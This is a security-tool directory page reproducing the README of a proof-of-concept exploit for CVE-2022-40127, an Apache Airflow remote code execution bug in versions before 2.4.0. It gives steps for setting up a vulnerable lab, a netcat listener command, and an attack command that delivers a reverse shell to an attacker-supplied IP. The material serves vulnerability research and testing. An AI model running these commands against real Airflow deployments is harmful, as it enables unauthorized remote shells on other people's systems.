Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-40127-Airflow-RCE — Proof-of-concept exploit for CVE-2022-40127 targeting Apache Airflow RCE via crafted run_id parameter, with automated reverse shell delivery. | Kitploit
Tools/GitHubGitHub/jakabakos/cve-2022-40127-airflow-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubjakabakos/cve-2022-40127-airflow-rce

CVE-2022-40127-Airflow-RCE

Proof-of-concept exploit for CVE-2022-40127 targeting Apache Airflow RCE via crafted run_id parameter, with automated reverse shell delivery.

View Repository
2123 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Apache Airflow < 2.4.0 RCE (CVE-2022-40127)

PoC for CVE-2022-40127 that is an Apache Airflow RCE vulnerability affecting versions prior to 2.4.0.

The official report description says:

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.

The repo is created for a CVE analysis blog post available on vsociety blog.

https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6

Usage

You can clone the repo:

root@kitploit:~
git clone https://github.com/jakabakos/CVE-2022-40127.git

Install and run Airflow v2.3.4

Via docker-compose

Download the docker-compose file from the official repo

root@kitploit:~
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'

Run Airflow

root@kitploit:~
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080

In this case both the username and password will be airflow.

Manually

Based on the official install instructions:

root@kitploit:~
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"

You can verify if the installation was successful with commands which airflow and/or airflow info.

Run Airflow

root@kitploit:~
airflow standalone

See the generated password and username in the logs.

Using the exploit

First, install the required packeges with pip:

root@kitploit:~
pip3 install -r requirements.txt

See the possible options with:

root@kitploit:~
python3 exploit.py --help

You can check if the host can be exploited or not:

root@kitploit:~
python3 exploit.py -u airflow -p airflow -url http://localhost:8080

Set up a local listener for the reverse shell in a different terminal session:

root@kitploit:~
nc -lvnp 4242

Run the script in attack mode with this command:

root@kitploit:~
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242

You should see the connection within a minute or so. proof

Download Tool